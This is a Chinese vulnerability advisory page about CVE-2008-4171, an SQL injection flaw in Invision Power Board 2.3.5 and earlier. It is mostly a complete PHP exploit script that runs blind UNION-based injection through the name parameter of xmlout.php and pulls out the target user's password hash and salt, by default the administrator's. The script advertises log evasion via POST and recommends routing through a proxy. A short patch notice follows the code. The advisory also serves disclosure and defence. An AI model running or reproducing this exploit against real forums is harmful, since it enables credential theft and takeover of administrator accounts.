首页 -> 安全研究

安全研究

安全漏洞
Invision Power Board name参数SQL注入漏洞

发布日期:2008-09-21
更新日期:2008-09-24

受影响系统:
Invision PS IPB <= 2.3.5
描述:
BUGTRAQ  ID: 31288
CVE(CAN) ID: CVE-2008-4171

Invision Power Board是一个非常流行的PHP论坛程序。

Invision Power Board的xmlout.php文件没有正确地验证用户请求中的name参数,远程攻击者可以通过向论坛提交恶意请求执行SQL注入攻击。

<*来源:Janek Vind (come2waraxe@yahoo.com
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB <= 2.3.5 sql injection exploit
// Version 1.0
// written by Janek Vind "waraxe"
// Estonia, Tartu
// http://www.waraxe.us/
// 20. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$url = 'http://localhost/ipb.2.3.5/';
$id = 1;// ID of the target user, default value "1" is admin's ID
$prefix = 'ibf_';// IPB table prefix, default is "ibf_"
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = './ipblog.txt';// Log file
//======================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
//=====================================================================
///////////////////////////////////////////////////////////////////////
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
    if(!isset($_REQUEST['wtf-is-cli']))
    {
        echo "<html><head><title>Attention!</title></head>\n";
        echo "<body><br /><br /><center>\n";
        echo "<h1>Warning!</h1>\n";
        echo "This exploit is meant to be used as php CLI script!<br />\n";
        echo "More information:<br />\n";
        echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
        echo "Still, you can try to run it from webserver.<br />\n";
        echo "Just press the button below and prepare for long waiting<br />\n";
        echo "And learn to use php CLI next time, please ...<br />\n";
        echo "<form method=\"get\">\n";
        echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
        echo "</form>\n";
        echo "</center></body></html>\n";
        exit;
    }
    else
    {
        // Let's try to maximize our chances without CLI
        @set_time_limit(0);
    }
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
xecho("Testing target ID ... \n");
test_target_id();
xecho("Target ID seems to be valid\n");

$hash = get_hash();
$salt = get_salt();

add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");
add_line("Salt: $salt");
add_line("------------------------------------------");

xecho("\n------------------------------------------\n");
xecho("Hash: $hash\n");
xecho("Salt: $salt");
xecho("\n------------------------------------------\n");

xecho("\nQuestions and feedback - http://www.waraxe.us/ \n");
die("See ya! :) \n");
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
    global $url;
    
    $post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
    $buff = trim(make_post($url, $post, '', $url));
    if($buff !== 'found')
    {
        die('Invalid response, target URL not valid? Exiting ...');
    }
}
//////////////////////////////////////////////////////////////////////
function test_target_id()
{
    global $url, $prefix, $id;
    
    $post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32';
    if(!test_condition($post))
    {
        die('Invalid response, target ID not valid? Exiting ...');
    }
}
///////////////////////////////////////////////////////////////////////
function get_salt()
{
    $len = 5;
    $out = '';
    
    xecho("Finding salt ...\n");
    
    for($i = 1; $i < $len + 1; $i ++)
    {
        $ch = get_saltchar($i);
        xecho("Got pos $i --> $ch\n");
        $out .= "$ch";
        xecho("Current salt: $out \n");
    }
    
    xecho("\nFinal salt: $out\n\n");
    
    return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos)
{
    global $prefix, $id;

    $char = '';
    $min = 32;
    $max = 128;
    $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
    $curr = 0;
    
    while(1)
    {
        $area = $max - $min;
        if($area < 2 )
        {
            $post = $pattern . "=$max";
            $eq = test_condition($post);
            
            if($eq)
            {
                $char = chr($max);
            }
            else
            {
                $char = chr($min);
            }
            
            break;
        }
        
        $half = intval(floor($area / 2));
        $curr = $min + $half;
        
        $post = $pattern . '%253e' . $curr;
        
        $bigger = test_condition($post);
        
        if($bigger)
        {
            $min = $curr;
        }
        else
        {
            $max = $curr;
        }

        xecho("Current test: $curr-$max-$min\n");
    }
    
    return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash()
{
    $len = 32;
    $out = '';
    
    xecho("Finding hash ...\n");
    
    for($i = 1; $i < $len + 1; $i ++)
    {
        $ch = get_hashchar($i);
        xecho("Got pos $i --> $ch\n");
        $out .= "$ch";
        xecho("Current hash: $out \n");
    }
    
    xecho("\nFinal hash: $out\n\n");
    
    return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos)
{
    global $prefix, $id;

    $char = '';
    $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))";

    // First let's determine, if it's number or letter
    $post = $pattern . '%253e57';
    $letter = test_condition($post);
    
    if($letter)
    {
        $min = 97;
        $max = 102;
        xecho("Char to find is [a-f]\n");
    }
    else
    {
        $min = 48;
        $max = 57;
        xecho("Char to find is [0-9]\n");
    }

    $curr = 0;
    
    while(1)
    {
        $area = $max - $min;
        if($area < 2 )
        {
            $post = $pattern . "=$max";
            $eq = test_condition($post);
            
            if($eq)
            {
                $char = chr($max);
            }
            else
            {
                $char = chr($min);
            }
            
            break;
        }
        
        $half = intval(floor($area / 2));
        $curr = $min + $half;
        
        $post = $pattern . '%253e' . $curr;
        
        $bigger = test_condition($post);
        
        if($bigger)
        {
            $min = $curr;
        }
        else
        {
            $max = $curr;
        }

        xecho("Current test: $curr-$max-$min\n");
    }
    
    return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
    global $url;
    
    $bret = false;
    $maxtry = 10;
    $try = 1;
        
    $pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
    $post = sprintf($pattern, $p);
    
    while(1)
    {
        $buff = trim(make_post($url, $post, '', $url));

        if($buff === 'found')
        {
            $bret = true;
            break;
        }
        elseif($buff === 'notfound')
        {
            break;
        }
        elseif(strpos($buff, '<title>IPS Driver Error</title>') !== false)
        {
            die("Sql error! Wrong prefix?\nExiting ... ");
        }
        else
        {
            xecho("test_condition() - try $try - invalid return value ...\n");
            $try ++;
            if($try > $maxtry)
            {
                die("Too many tries - exiting ...\n");
            }
            else
            {
                xecho("Trying again - try $try ...\n");
            }
        }
    }
    
    return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
    $ch = curl_init();
    $timeout = 120;
    curl_setopt ($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
    curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
    
    if(!empty($GLOBALS['proxy_ip_port']))
    {
        curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);
        
        if(!empty($GLOBALS['proxy_user_password']))
        {
            curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
        }
    }
    
    if(!empty($cookie))
    {
        curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
    }

    if(!empty($referer))
    {
        curl_setopt ($ch, CURLOPT_REFERER, $referer);
    }

    if($headers === TRUE)
    {
        curl_setopt ($ch, CURLOPT_HEADER, TRUE);
    }
    else
    {
        curl_setopt ($ch, CURLOPT_HEADER, FALSE);
    }

    $fc = curl_exec($ch);
    curl_close($ch);
    
    return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
    global $outfile;
    
    $line .= "\n";
    $fh = fopen($outfile, 'ab');
    fwrite($fh, $line);
    fclose($fh);
    
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
    if($GLOBALS['cli'])
    {
        echo "$line";
    }
    else
    {
        $line = nl2br(htmlspecialchars($line));
        echo "$line";
    }
}
//////////////////////////////////////////////////////////////////////
?>

建议:
厂商补丁:

Invision PS
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://forums.invisionpower.com/index.php?showtopic=276512

浏览次数:3747
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障